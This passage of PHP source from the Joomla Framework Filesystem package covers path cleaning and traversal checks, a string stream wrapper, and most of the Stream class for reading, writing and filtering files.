	 *
	 * @return  string  A cleaned version of the path or exit on error.
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public static function check($path)
	{
		if (strpos($path, '..') !== false)
		{
			throw new FilesystemException(
				sprintf(
					'%s() - Use of relative paths not permitted',
					__METHOD__
				),
				20
			);
		}

		$path = static::clean($path);

		if ((JPATH_ROOT != '') && strpos($path,
static::clean(JPATH_ROOT)) !== 0)
		{
			throw new FilesystemException(
				sprintf(
					'%1$s() - Snooping out of bounds @ %2$s',
					__METHOD__,
					$path
				),
				20
			);
		}

		return $path;
	}

	/**
	 * Function to strip additional / or \ in a path name.
	 *
	 * @param   string  $path  The path to clean.
	 * @param   string  $ds    Directory separator (optional).
	 *
	 * @return  string  The cleaned path.
	 *
	 * @since   1.0
	 * @throws  \UnexpectedValueException If $path is not a string.
	 */
	public static function clean($path, $ds = \DIRECTORY_SEPARATOR)
	{
		if (!\is_string($path))
		{
			throw new \UnexpectedValueException('JPath::clean $path is not a
string.');
		}

		$stream = explode('://', $path, 2);
		$scheme = '';
		$path   = $stream[0];

		if (\count($stream) >= 2)
		{
			$scheme = $stream[0] . '://';
			$path   = $stream[1];
		}

		$path = trim($path);

		if (empty($path))
		{
			$path = JPATH_ROOT;
		}
		elseif (($ds == '\\') && ($path[0] == '\\')
&& ($path[1] == '\\'))
		{
			// Remove double slashes and backslashes and convert all slashes and
backslashes to DIRECTORY_SEPARATOR
			// If dealing with a UNC path don't forget to prepend the path with
a backslash.
			$path = '\\' . preg_replace('#[/\\\\]+#', $ds,
$path);
		}
		else
		{
			$path = preg_replace('#[/\\\\]+#', $ds, $path);
		}

		return $scheme . $path;
	}

	/**
	 * Method to determine if script owns the path.
	 *
	 * @param   string  $path  Path to check ownership.
	 *
	 * @return  boolean  True if the php script owns the path passed.
	 *
	 * @since   1.0
	 */
	public static function isOwner($path)
	{
		$tmp = md5(random_bytes(16));
		$ssp = ini_get('session.save_path');
		$jtp = JPATH_ROOT;

		// Try to find a writable directory
		$dir = is_writable('/tmp') ? '/tmp' : false;
		$dir = (!$dir && is_writable($ssp)) ? $ssp : $dir;
		$dir = (!$dir && is_writable($jtp)) ? $jtp : $dir;

		if ($dir)
		{
			$test = $dir . '/' . $tmp;

			// Create the test file
			$blank = '';
			File::write($test, $blank, false);

			// Test ownership
			$return = (fileowner($test) == fileowner($path));

			// Delete the test file
			File::delete($test);

			return $return;
		}

		return false;
	}

	/**
	 * Searches the directory paths for a given file.
	 *
	 * @param   mixed   $paths  A path string or array of path strings to
search in
	 * @param   string  $file   The file name to look for.
	 *
	 * @return  string|boolean   The full path and file name for the target
file, or boolean false if the file is not found in any of the paths.
	 *
	 * @since   1.0
	 */
	public static function find($paths, $file)
	{
		// Force to array
		if (!\is_array($paths) && !($paths instanceof \Iterator))
		{
			settype($paths, 'array');
		}

		// Start looping through the path set
		foreach ($paths as $path)
		{
			// Get the path to the file
			$fullname = $path . '/' . $file;

			// Is the path based on a stream?
			if (strpos($path, '://') === false)
			{
				// Not a stream, so do a realpath() to avoid directory
				// traversal attempts on the local file system.

				// Needed for substr() later
				$path     = realpath($path);
				$fullname = realpath($fullname);
			}

			/*
			 * The substr() check added to make sure that the realpath()
			 * results in a directory registered so that
			 * non-registered directories are not accessible via directory
			 * traversal attempts.
			 */
			if (file_exists($fullname) && substr($fullname, 0,
\strlen($path)) == $path)
			{
				return $fullname;
			}
		}

		// Could not find the file in the set of paths
		return false;
	}

	/**
	 * Resolves /./, /../ and multiple / in a string and returns the resulting
absolute path, inspired by Flysystem
	 * Removes trailing slashes
	 *
	 * @param   string   $path   A path to resolve
	 *
	 * @return  string  The resolved path
	 *
	 * @since   1.6.0
	 */
	public static function resolve($path)
	{
		$path = static::clean($path);

		// Save start character for absolute path
		$startCharacter = ($path[0] === DIRECTORY_SEPARATOR) ?
DIRECTORY_SEPARATOR : '';

		$parts = array();

		foreach (explode(DIRECTORY_SEPARATOR, $path) as $part)
		{
			switch ($part)
			{
				case '':
				case '.':
					break;

				case '..':
					if (empty($parts))
					{
						throw new FilesystemException('Path is outside of the defined
root');
					}

					array_pop($parts);
					break;

				default:
					$parts[] = $part;
					break;
			}
		}

		return $startCharacter . implode(DIRECTORY_SEPARATOR, $parts);
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem\Stream;

/**
 * String Stream Wrapper
 *
 * This class allows you to use a PHP string in the same way that
 * you would normally use a regular stream wrapper
 *
 * @since       1.0
 * @deprecated  2.0  Use StringWrapper instead
 */
class String extends StringWrapper
{
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem\Stream;

use Joomla\Filesystem\Support\StringController;

/**
 * String Stream Wrapper
 *
 * This class allows you to use a PHP string in the same way that you would
normally use a regular stream wrapper
 *
 * @since  1.3.0
 */
class StringWrapper
{
	/**
	 * The current string
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $currentString;

	/**
	 * The path
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $path;

	/**
	 * The mode
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $mode;

	/**
	 * Enter description here ...
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $options;

	/**
	 * Enter description here ...
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $openedPath;

	/**
	 * Current position
	 *
	 * @var   integer
	 * @since  1.3.0
	 */
	protected $pos;

	/**
	 * Length of the string
	 *
	 * @var   string
	 * @since  1.3.0
	 */
	protected $len;

	/**
	 * Statistics for a file
	 *
	 * @var    array
	 * @since  1.3.0
	 * @link   https://www.php.net/manual/en/function.stat.php
	 */
	protected $stat;

	/**
	 * Method to open a file or URL.
	 *
	 * @param   string   $path        The stream path.
	 * @param   string   $mode        Not used.
	 * @param   integer  $options     Not used.
	 * @param   string   $openedPath  Not used.
	 *
	 * @return  boolean
	 *
	 * @since   1.3.0
	 */
	public function stream_open($path, $mode, $options, &$openedPath)
	{
		$refPath = StringController::getRef(str_replace('string://',
'', $path));

		$this->currentString = &$refPath;

		if ($this->currentString)
		{
			$this->len  = \strlen($this->currentString);
			$this->pos  = 0;
			$this->stat = $this->url_stat($path, 0);

			return true;
		}

		return false;
	}

	/**
	 * Method to retrieve information from a file resource
	 *
	 * @return  array
	 *
	 * @link    https://www.php.net/manual/en/streamwrapper.stream-stat.php
	 * @since   1.3.0
	 */
	public function stream_stat()
	{
		return $this->stat;
	}

	/**
	 * Method to retrieve information about a file.
	 *
	 * @param   string   $path   File path or URL to stat
	 * @param   integer  $flags  Additional flags set by the streams API
	 *
	 * @return  array
	 *
	 * @link    https://www.php.net/manual/en/streamwrapper.url-stat.php
	 * @since   1.3.0
	 */
	public function url_stat($path, $flags = 0)
	{
		$now     = time();
		$refPath = StringController::getRef(str_replace('string://',
'', $path));
		$string  = &$refPath;
		$stat    = array(
			'dev'     => 0,
			'ino'     => 0,
			'mode'    => 0,
			'nlink'   => 1,
			'uid'     => 0,
			'gid'     => 0,
			'rdev'    => 0,
			'size'    => \strlen($string),
			'atime'   => $now,
			'mtime'   => $now,
			'ctime'   => $now,
			'blksize' => '512',
			'blocks'  => ceil(\strlen($string) / 512),
		);

		return $stat;
	}

	/**
	 * Method to read a given number of bytes starting at the current position
	 * and moving to the end of the string defined by the current position
plus the
	 * given number.
	 *
	 * @param   integer  $count  Bytes of data from the current position
should be returned.
	 *
	 * @return  string
	 *
	 * @link    https://www.php.net/manual/en/streamwrapper.stream-read.php
	 * @since   1.3.0
	 */
	public function stream_read($count)
	{
		$result = substr($this->currentString, $this->pos, $count);
		$this->pos += $count;

		return $result;
	}

	/**
	 * Stream write, always returning false.
	 *
	 * @param   string  $data  The data to write.
	 *
	 * @return  boolean
	 *
	 * @since   1.3.0
	 * @note    Updating the string is not supported.
	 */
	public function stream_write($data)
	{
		// We don't support updating the string.
		return false;
	}

	/**
	 * Method to get the current position
	 *
	 * @return  integer  The position
	 *
	 * @since   1.3.0
	 */
	public function stream_tell()
	{
		return $this->pos;
	}

	/**
	 * End of field check
	 *
	 * @return  boolean  True if at end of field.
	 *
	 * @since   1.3.0
	 */
	public function stream_eof()
	{
		if ($this->pos >= $this->len)
		{
			return true;
		}

		return false;
	}

	/**
	 * Stream offset
	 *
	 * @param   integer  $offset  The starting offset.
	 * @param   integer  $whence  SEEK_SET, SEEK_CUR, SEEK_END
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.3.0
	 */
	public function stream_seek($offset, $whence)
	{
		// $whence: SEEK_SET, SEEK_CUR, SEEK_END
		if ($offset > $this->len)
		{
			// We can't seek beyond our len.
			return false;
		}

		switch ($whence)
		{
			case \SEEK_SET:
				$this->pos = $offset;

				break;

			case \SEEK_CUR:
				if (($this->pos + $offset) > $this->len)
				{
					return false;
				}

				$this->pos += $offset;

				break;

			case \SEEK_END:
				$this->pos = $this->len - $offset;

				break;
		}

		return true;
	}

	/**
	 * Stream flush, always returns true.
	 *
	 * @return  boolean
	 *
	 * @since   1.3.0
	 * @note    Data storage is not supported
	 */
	public function stream_flush()
	{
		// We don't store data.
		return true;
	}
}

if (!stream_wrapper_register('string',
'\\Joomla\\Filesystem\\Stream\\StringWrapper'))
{
	die('\\Joomla\\Filesystem\\Stream\\StringWrapper Wrapper Registration
Failed');
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

use Joomla\Filesystem\Exception\FilesystemException;

/**
 * Joomla! Stream Interface
 *
 * The Joomla! stream interface is designed to handle files as streams
 * where as the legacy JFile static class treated files in a rather
 * atomic manner.
 *
 * This class adheres to the stream wrapper operations:
 *
 * @link   https://www.php.net/manual/en/function.stream-get-wrappers.php
 * @link   https://www.php.net/manual/en/intro.stream.php PHP Stream Manual
 * @link   https://www.php.net/manual/en/wrappers.php Stream Wrappers
 * @link   https://www.php.net/manual/en/filters.php Stream Filters
 * @link   https://www.php.net/manual/en/transports.php Socket Transports
(used by some options, particularly HTTP proxy)
 * @since  1.0
 */
class Stream
{
	/**
	 * File Mode
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $filemode = 0644;

	/**
	 * Directory Mode
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $dirmode = 0755;

	/**
	 * Default Chunk Size
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $chunksize = 8192;

	/**
	 * Filename
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $filename;

	/**
	 * Prefix of the connection for writing
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $writeprefix;

	/**
	 * Prefix of the connection for reading
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $readprefix;

	/**
	 * Read Processing method
	 *
	 * @var    string  gz, bz, f
	 * If a scheme is detected, fopen will be defaulted
	 * To use compression with a network stream use a filter
	 * @since  1.0
	 */
	protected $processingmethod = 'f';

	/**
	 * Filters applied to the current stream
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $filters = array();

	/**
	 * File Handle
	 *
	 * @var    resource
	 * @since  1.0
	 */
	protected $fh;

	/**
	 * File size
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $filesize;

	/**
	 * Context to use when opening the connection
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $context;

	/**
	 * Context options; used to rebuild the context
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $contextOptions;

	/**
	 * The mode under which the file was opened
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $openmode;

	/**
	 * Constructor
	 *
	 * @param   string  $writeprefix  Prefix of the stream (optional). Unlike
the JPATH_*, this has a final path separator!
	 * @param   string  $readprefix   The read prefix (optional).
	 * @param   array   $context      The context options (optional).
	 *
	 * @since   1.0
	 */
	public function __construct($writeprefix = '', $readprefix =
'', $context = array())
	{
		$this->writeprefix    = $writeprefix;
		$this->readprefix     = $readprefix;
		$this->contextOptions = $context;
		$this->_buildContext();
	}

	/**
	 * Destructor
	 *
	 * @since   1.0
	 */
	public function __destruct()
	{
		// Attempt to close on destruction if there is a file handle
		if ($this->fh)
		{
			@$this->close();
		}
	}

	/**
	 * Creates a new stream object with appropriate prefix
	 *
	 * @param   boolean  $usePrefix  Prefix the connections for writing
	 * @param   string   $ua         UA User agent to use
	 * @param   boolean  $uamask     User agent masking (prefix Mozilla)
	 *
	 * @return  Stream
	 *
	 * @see     Stream
	 * @since   1.0
	 */
	public static function getStream($usePrefix = true, $ua = null, $uamask =
false)
	{
		// Setup the context; Joomla! UA and overwrite
		$context = array();

		// Set the UA for HTTP
		$context['http']['user_agent'] = $ua ?: 'Joomla!
Framework Stream';

		if ($usePrefix)
		{
			return new Stream(JPATH_ROOT . '/', JPATH_ROOT, $context);
		}

		return new Stream('', '', $context);
	}

	/**
	 * Generic File Operations
	 *
	 * Open a stream with some lazy loading smarts
	 *
	 * @param   string    $filename              Filename
	 * @param   string    $mode                  Mode string to use
	 * @param   boolean   $useIncludePath        Use the PHP include path
	 * @param   resource  $context               Context to use when opening
	 * @param   boolean   $usePrefix             Use a prefix to open the file
	 * @param   boolean   $relative              Filename is a relative path
(if false, strips JPATH_ROOT to make it relative)
	 * @param   boolean   $detectprocessingmode  Detect the processing method
for the file and use the appropriate function
	 *                                           to handle output
automatically
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function open($filename, $mode = 'r', $useIncludePath =
false, $context = null, $usePrefix = false, $relative = false,
		$detectprocessingmode = false
	)
	{
		$filename = $this->_getFilename($filename, $mode, $usePrefix,
$relative);

		if (!$filename)
		{
			throw new FilesystemException('Filename not set');
		}

		$this->filename = $filename;
		$this->openmode = $mode;

		$url = parse_url($filename);

		if (isset($url['scheme']))
		{
			$scheme = ucfirst($url['scheme']);

			// If we're dealing with a Joomla! stream, load it
			if (Helper::isJoomlaStream($scheme))
			{
				// Map to StringWrapper if required
				if ($scheme === 'String')
				{
					$scheme = 'StringWrapper';
				}

				require_once __DIR__ . '/Stream/' . $scheme .
'.php';
			}

			// We have a scheme! force the method to be f
			$this->processingmethod = 'f';
		}
		elseif ($detectprocessingmode)
		{
			$ext = strtolower(pathinfo($this->filename, \PATHINFO_EXTENSION));

			switch ($ext)
			{
				case 'tgz':
				case 'gz':
				case 'gzip':
					$this->processingmethod = 'gz';

					break;

				case 'tbz2':
				case 'bz2':
				case 'bzip2':
					$this->processingmethod = 'bz';

					break;

				default:
					$this->processingmethod = 'f';

					break;
			}
		}

		// Capture PHP errors
		$php_errormsg = 'Error Unknown whilst opening a file';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		// Decide which context to use:
		switch ($this->processingmethod)
		{
			// Gzip doesn't support contexts or streams
			case 'gz':
				$this->fh = gzopen($filename, $mode, $useIncludePath);

				break;

			// Bzip2 is much like gzip except it doesn't use the include path
			case 'bz':
				$this->fh = bzopen($filename, $mode);

				break;

			// Fopen can handle streams
			case 'f':
			default:
				// One supplied at open; overrides everything
				if ($context)
				{
					$this->fh = @fopen($filename, $mode, $useIncludePath, $context);
				}
				elseif ($this->context)
				{
					// One provided at initialisation
					$this->fh = @fopen($filename, $mode, $useIncludePath,
$this->context);
				}
				else
				{
					// No context; all defaults
					$this->fh = @fopen($filename, $mode, $useIncludePath);
				}

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if (!$this->fh)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return true;
	}

	/**
	 * Attempt to close a file handle
	 *
	 * Will return false if it failed and true on success
	 * If the file is not open the system will return true, this function
destroys the file handle as well
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function close()
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = 'Error Unknown';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		switch ($this->processingmethod)
		{
			case 'gz':
				$res = gzclose($this->fh);

				break;

			case 'bz':
				$res = bzclose($this->fh);

				break;

			case 'f':
			default:
				$res = fclose($this->fh);

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if (!$res)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Reset this
		$this->fh = null;

		// If we wrote, chmod the file after it's closed
		if ($this->openmode[0] == 'w')
		{
			$this->chmod();
		}

		// Return the result
		return true;
	}

	/**
	 * Work out if we're at the end of the file for a stream
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function eof()
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		switch ($this->processingmethod)
		{
			case 'gz':
				$res = gzeof($this->fh);

				break;

			case 'bz':
			case 'f':
			default:
				$res = feof($this->fh);

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if ($php_errormsg)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return $res;
	}

	/**
	 * Retrieve the file size of the path
	 *
	 * @return  integer|boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function filesize()
	{
		if (!$this->filename)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);
		$res = @filesize($this->filename);

		if (!$res)
		{
			$tmpError = '';

			if ($php_errormsg)
			{
				// Something went wrong.
				// Store the error in case we need it.
				$tmpError = $php_errormsg;
			}

			$res = Helper::remotefsize($this->filename);

			if (!$res)
			{
				// Restore error tracking to what it was before.
				ini_set('track_errors', $trackErrors);

				if ($tmpError)
				{
					// Use the php_errormsg from before
					throw new FilesystemException($tmpError);
				}

				// Error but nothing from php? How strange! Create our own
				throw new FilesystemException('Failed to get file size. This may
not work for all streams.');
			}

			$this->filesize = $res;
			$retval         = $res;
		}
		else
		{
			$this->filesize = $res;
			$retval         = $res;
		}

		// Restore error tracking to what it was before.
		ini_set('track_errors', $trackErrors);

		// Return the result
		return $retval;
	}

	/**
	 * Get a line from the stream source.
	 *
	 * @param   integer  $length  The number of bytes (optional) to read.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function gets($length = 0)
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = 'Error Unknown';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		switch ($this->processingmethod)
		{
			case 'gz':
				$res = $length ? gzgets($this->fh, $length) : gzgets($this->fh);

				break;

			case 'bz':
			case 'f':
			default:
				$res = $length ? fgets($this->fh, $length) : fgets($this->fh);

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if (!$res)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return $res;
	}

	/**
	 * Read a file
	 *
	 * Handles user space streams appropriately otherwise any read will return
8192
	 *
	 * @param   integer  $length  Length of data to read
	 *
	 * @return  string
	 *
	 * @link    https://www.php.net/manual/en/function.fread.php
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function read($length = 0)
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		if (!$this->filesize && !$length)
		{
			// Get the filesize
			$this->filesize();

			if (!$this->filesize)
			{
				// Set it to the biggest and then wait until eof
				$length = -1;
			}
			else
			{
				$length = $this->filesize;
			}
		}

		$retval = false;

		// Capture PHP errors
		$php_errormsg = 'Error Unknown';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);
		$remaining = $length;

		do
		{
			// Do chunked reads where relevant
			switch ($this->processingmethod)
			{
				case 'bz':
					$res = ($remaining > 0) ? bzread($this->fh, $remaining) :
bzread($this->fh, $this->chunksize);

					break;

				case 'gz':
					$res = ($remaining > 0) ? gzread($this->fh, $remaining) :
gzread($this->fh, $this->chunksize);

					break;

				case 'f':
				default:
					$res = ($remaining > 0) ? fread($this->fh, $remaining) :
fread($this->fh, $this->chunksize);

					break;
			}

			if (!$res)
			{
				// Restore error tracking to what it was before
				ini_set('track_errors', $trackErrors);

				throw new FilesystemException($php_errormsg);
			}

			if (!$retval)
			{
				$retval = '';
			}

			$retval .= $res;

			if (!$this->eof())
			{
				$len = \strlen($res);
				$remaining -= $len;
			}
			else
			{
				// If it's the end of the file then we've nothing left to
read; reset remaining and len
				$remaining = 0;
				$length    = \strlen($retval);
			}
		}
		while ($remaining || !$length);

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		// Return the result
		return $retval;
	}

	/**
	 * Seek the file
	 *
	 * Note: the return value is different to that of fseek
	 *
	 * @param   integer  $offset  Offset to use when seeking.
	 * @param   integer  $whence  Seek mode to use.
	 *
	 * @return  boolean  True on success, false on failure
	 *
	 * @link    https://www.php.net/manual/en/function.fseek.php
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function seek($offset, $whence = \SEEK_SET)
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		switch ($this->processingmethod)
		{
			case 'gz':
				$res = gzseek($this->fh, $offset, $whence);

				break;

			case 'bz':
			case 'f':
			default:
				$res = fseek($this->fh, $offset, $whence);

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		// Seek, interestingly, returns 0 on success or -1 on failure.
		if ($res == -1)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return true;
	}

	/**
	 * Returns the current position of the file read/write pointer.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function tell()
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		switch ($this->processingmethod)
		{
			case 'gz':
				$res = gztell($this->fh);

				break;

			case 'bz':
			case 'f':
			default:
				$res = ftell($this->fh);

				break;
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		// May return 0 so check if it's really false
		if ($res === false)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return $res;
	}

	/**
	 * File write
	 *
	 * Whilst this function accepts a reference, the underlying fwrite
	 * will do a copy! This will roughly double the memory allocation for
	 * any write you do. Specifying chunked will get around this by only
	 * writing in specific chunk sizes. This defaults to 8192 which is a
	 * sane number to use most of the time (change the default with
	 * Stream::set('chunksize', newsize);)
	 * Note: This doesn't support gzip/bzip2 writing like reading does
	 *
	 * @param   string   $string  Reference to the string to write.
	 * @param   integer  $length  Length of the string to write.
	 * @param   integer  $chunk   Size of chunks to write in.
	 *
	 * @return  boolean
	 *
	 * @link    https://www.php.net/manual/en/function.fwrite.php
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function write(&$string, $length = 0, $chunk = 0)
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		if ($this->openmode == 'r')
		{
			throw new \RuntimeException('File is in readonly mode');
		}

		// If the length isn't set, set it to the length of the string.
		if (!$length)
		{
			$length = \strlen($string);
		}

		// If the chunk isn't set, set it to the default.
		if (!$chunk)
		{
			$chunk = $this->chunksize;
		}

		$retval = true;

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);
		$remaining = $length;
		$start     = 0;

		do
		{
			// If the amount remaining is greater than the chunk size, then use the
chunk
			$amount = ($remaining > $chunk) ? $chunk : $remaining;
			$res    = fwrite($this->fh, substr($string, $start), $amount);

			// Returns false on error or the number of bytes written
			if ($res === false)
			{
				// Restore error tracking to what it was before
				ini_set('track_errors', $trackErrors);

				// Returned error
				throw new FilesystemException($php_errormsg);
			}

			if ($res === 0)
			{
				// Restore error tracking to what it was before
				ini_set('track_errors', $trackErrors);

				// Wrote nothing?
				throw new FilesystemException('Warning: No data written');
			}

			// Wrote something
			$start += $amount;
			$remaining -= $res;
		}
		while ($remaining);

		// Restore error tracking to what it was before.
		ini_set('track_errors', $trackErrors);

		// Return the result
		return $retval;
	}

	/**
	 * Chmod wrapper
	 *
	 * @param   string  $filename  File name.
	 * @param   mixed   $mode      Mode to use.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function chmod($filename = '', $mode = 0)
	{
		if (!$filename)
		{
			if (!isset($this->filename) || !$this->filename)
			{
				throw new FilesystemException('Filename not set');
			}

			$filename = $this->filename;
		}

		// If no mode is set use the default
		if (!$mode)
		{
			$mode = $this->filemode;
		}

		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);
		$sch = parse_url($filename, \PHP_URL_SCHEME);

		// Scheme specific options; ftp's chmod support is fun.
		switch ($sch)
		{
			case 'ftp':
			case 'ftps':
				$res = Helper::ftpChmod($filename, $mode);

				break;

			default:
				$res = chmod($filename, $mode);

				break;
		}

		// Restore error tracking to what it was before.
		ini_set('track_errors', $trackErrors);

		// Seek, interestingly, returns 0 on success or -1 on failure
		if ($res === false)
		{
			throw new FilesystemException($php_errormsg);
		}

		// Return the result
		return true;
	}

	/**
	 * Get the stream metadata
	 *
	 * @return  array  header/metadata
	 *
	 * @link   
https://www.php.net/manual/en/function.stream-get-meta-data.php
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function get_meta_data()
	{
		if (!$this->fh)
		{
			throw new FilesystemException('File not open');
		}

		return stream_get_meta_data($this->fh);
	}

	/**
	 * Stream contexts
	 * Builds the context from the array
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function _buildContext()
	{
		// According to the manual this always works!
		if (\count($this->contextOptions))
		{
			$this->context = @stream_context_create($this->contextOptions);
		}
		else
		{
			$this->context = null;
		}
	}

	/**
	 * Updates the context to the array
	 *
	 * Format is the same as the options for stream_context_create
	 *
	 * @param   array  $context  Options to create the context with
	 *
	 * @return  void
	 *
	 * @link    https://www.php.net/stream_context_create
	 * @since   1.0
	 */
	public function setContextOptions($context)
	{
		$this->contextOptions = $context;
		$this->_buildContext();
	}

	/**
	 * Adds a particular options to the context
	 *
	 * @param   string  $wrapper  The wrapper to use
	 * @param   string  $name     The option to set
	 * @param   string  $value    The value of the option
	 *
	 * @return  void
	 *
	 * @link    https://www.php.net/stream_context_create Stream Context
Creation
	 * @link    https://www.php.net/manual/en/context.php Context Options for
various streams
	 * @since   1.0
	 */
	public function addContextEntry($wrapper, $name, $value)
	{
		$this->contextOptions[$wrapper][$name] = $value;
		$this->_buildContext();
	}

	/**
	 * Deletes a particular setting from a context
	 *
	 * @param   string  $wrapper  The wrapper to use
	 * @param   string  $name     The option to unset
	 *
	 * @return  void
	 *
	 * @link    https://www.php.net/stream_context_create
	 * @since   1.0
	 */
	public function deleteContextEntry($wrapper, $name)
	{
		// Check whether the wrapper is set
		if (isset($this->contextOptions[$wrapper]))
		{
			// Check that entry is set for that wrapper
			if (isset($this->contextOptions[$wrapper][$name]))
			{
				// Unset the item
				unset($this->contextOptions[$wrapper][$name]);

				// Check that there are still items there
				if (!\count($this->contextOptions[$wrapper]))
				{
					// Clean up an empty wrapper context option
					unset($this->contextOptions[$wrapper]);
				}
			}
		}

		// Rebuild the context and apply it to the stream
		$this->_buildContext();
	}

	/**
	 * Applies the current context to the stream
	 *
	 * Use this to change the values of the context after you've opened a
stream
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function applyContextToStream()
	{
		$retval = false;

		if ($this->fh)
		{
			// Capture PHP errors
			$php_errormsg = 'Unknown error setting context option';
			$trackErrors  = ini_get('track_errors');
			ini_set('track_errors', true);
			$retval = @stream_context_set_option($this->fh,
$this->contextOptions);

			// Restore error tracking to what it was before
			ini_set('track_errors', $trackErrors);

			if (!$retval)
			{
				throw new FilesystemException($php_errormsg);
			}
		}

		return $retval;
	}

	/**
	 * Stream filters
	 * Append a filter to the chain
	 *
	 * @param   string   $filtername  The key name of the filter.
	 * @param   integer  $readWrite   Optional. Defaults to
STREAM_FILTER_READ.
	 * @param   array    $params      An array of params for the
stream_filter_append call.
	 *
	 * @return  resource|boolean
	 *
	 * @link   
https://www.php.net/manual/en/function.stream-filter-append.php
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function appendFilter($filtername, $readWrite =
\STREAM_FILTER_READ, $params = array())
	{
		$res = false;

		if ($this->fh)
		{
			// Capture PHP errors
			$php_errormsg = '';
			$trackErrors  = ini_get('track_errors');
			ini_set('track_errors', true);

			$res = @stream_filter_append($this->fh, $filtername, $readWrite,
$params);

			// Restore error tracking to what it was before.
			ini_set('track_errors', $trackErrors);

			if (!$res && $php_errormsg)
			{
				throw new FilesystemException($php_errormsg);
			}

			$this->filters[] = &$res;
		}

		return $res;
	}

	/**
	 * Prepend a filter to the chain
	 *
	 * @param   string   $filtername  The key name of the filter.
	 * @param   integer  $readWrite   Optional. Defaults to
STREAM_FILTER_READ.
	 * @param   array    $params      An array of params for the
stream_filter_prepend call.
	 *
	 * @return  resource|boolean
	 *
	 * @link   
https://www.php.net/manual/en/function.stream-filter-prepend.php
	 * @since   1.0
	 * @throws  FilesystemException
